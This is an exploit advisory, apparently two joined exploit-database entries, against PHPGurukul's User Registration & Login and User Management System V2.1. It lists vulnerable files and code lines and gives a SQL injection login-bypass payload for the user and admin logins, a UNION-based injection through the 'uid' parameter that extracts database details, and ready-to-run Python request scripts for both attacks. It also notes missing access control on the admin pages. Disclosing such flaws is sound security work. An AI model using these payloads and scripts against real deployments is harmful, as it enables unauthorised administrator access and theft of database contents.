# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
[User Login]:
Vulnerable File:
----------------
/index.php
Vulnerable Code:
-----------------
line 62: $femail=$_POST['femail'];
Vulnerable Issue:
-----------------
$femail=$_POST['femail']; has no sanitization
POC User Login:
---------------
URL: http://localhost/loginsystem/index.php
Username : ' or '1'='1'#
Password : anything
********************************************************************************
[Admin Login]:
Vulnerable File:
----------------
/admin/index.php
Vulnerable Code:
-----------------
line 7: $adminusername=$_POST['username'];
Vulnerable Issue:
-----------------
$adminusername=$_POST['username']; has no sanitization
POC Admin Login:
---------------
URL: http://localhost/loginsystem/admin/index.php
Username : ' or '1'='1'#
Password : anything
********************************************************************************
Python Admin Login POC:
----------------------
import requests
url = "http://localhost:80/loginsystem/admin/"
payload =
"username=%27+or+%271%27%3D%271%27%23&password=anything&login=Submit+Query"
headers = {
"Origin": "http://localhost",
"Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0)
Gecko/20100101 Firefox/77.0",
"Connection": "close",
"Referer": "http://localhost/loginsystem/admin/",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Content-Length": "73",
"Content-Type": "application/x-www-form-urlencoded"
}
response = requests.request("POST", url, data=payload, headers=headers)
print(response.text)
-----------------
# Exploit Title: User Registration & Login and User Management
System With admin panel - 'uid' SQL Injection
# Date: 2020-07-04
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 |
https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage:
https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Software Link:
https://phpgurukul.com/?smd_process_download=1&download_id=7003L
# Version: V2.1
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib
5.7.11, for Win32 (AMD64)
Info:
-----
[+] Any registered user can access admin pages
(update-profile.php,manage-users.php,change-password.php) - no
propeer ACL / session control
Vulnerable File:
----------------
/admin/update-profile.php
Vulnerable Code:
-----------------
line 15: $uid=intval($_GET['uid']);
Vulnerable Issue:
-----------------
$uid=intval($_GET['uid']); has no sanitization
POC:
----
[+] Need any registered user to be authencated first.
http://localhost/loginsystem/admin/update-profile.php?uid=11'+UNION+ALL+SELECT+NULL,NULL,CONCAT_WS(0x3a,version(),database(),user()),NULL,NULL,NULL,NULL--+-
Python Code:
------------
import requests,re
url = "http://localhost:80/loginsystem/admin/update-profile.php?uid=11%27+UNION+ALL+SELECT+NULL,NULL,CONCAT('gh1mau',version(),0x3a,database(),0x3a,user(),'gh1mau'),NULL,NULL,NULL,NULL--+-"
payload = ""
headers = {
"Cookie": "PHPSESSID=pcsmeo2gqbdmutcetaukkhmk27",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0)
Gecko/20100101 Firefox/77.0",
"Connection": "close",
"Host": "localhost",
"Accept-Encoding": "gzip, deflate",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5"
}
pattern = "(?<=gh1mau).*?(?=gh1mau)"
response = requests.request("GET", url, data=payload,
headers=headers)
version=re.findall(pattern,response.text)
print(version)
